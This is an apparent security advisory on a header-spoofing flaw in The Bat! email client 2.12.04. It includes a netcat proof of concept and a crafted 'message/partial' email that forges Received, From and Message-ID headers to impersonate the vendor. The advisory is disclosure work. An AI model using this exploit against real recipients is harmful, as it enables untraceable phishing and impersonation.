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The Bat! Message Headers Spoofing
------------------------------------------------------------------------
SUMMARY
<http://thebat.net/> The Bat! is "an eMail Client". Improper handling of
email headers allows attackers to spoof The Bat! email client.
DETAILS
Vulnerable Systems:
* The Bat! version 2.12.04
Immune Systems:
* The Bat! version 3.5
A design flaw in the way The Bat! displays a 'message/partial' message
allows an attacker to spoof RFC 822 headers, including Received: and
Message-ID:. It makes it possible to create an untraceable message and
spoof the message origin, including the sender's network.
The Bat! silently re-assembles a partial message and shows the
encapsulated data, with the real message headers discarded.
Proof of Concept:
Replace @example.com with destination address
nc ip_of_smtp_relay 25 <thebatexploit.txt
-=-=-=-=- begin thebatexploit.txt -=-=-=-=-
HELO example.com
MAIL FROM: <phiby@example.com>
RCPT TO: <phiby@example.com>
DATA
Date: Mon, 31 Jan 2006 13:30:00 +0300
From: 3APA3A <phiby@example.com>
X-Mailer: The Bat! (v2.12.00)
Organization: http://www.security.nnov.ru/
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706@thebat.net>
To: Phiby <phiby@example.com>
Subject: Subject: Re[7]: //
Message-ID: <p#1split@ACB0994591752.20060130184706@thebat.net>
MIME-Version: 1.0
Content-Type: message/partial;
id="split@ACB0994591752.20060130184706@thebat.net";
number=1; total=2
Received: from mail.ritlabs.com (mail.ritlabs.com [198.63.208.135])
by mail.example.com (Postfix) with ESMTP id 9F89619EBEB
for <phiby@example.com>; Mon, 31 Jan 2006 13:30:06 +0300 (MSK)
Date: Mon, 31 Jan 2006 13:30:06 +0300
From: The Bat! developers <bugs@thebat.net>
X-Mailer: The Bat! (v2.12.00)
Organization: RitLabs
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706@thebat.net>
To: Phiby <phiby@example.com>
Subject: Subject: Re[7]: //
MIME-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit
Dear Phiby,
Best wishes for you and http://phiby.com/
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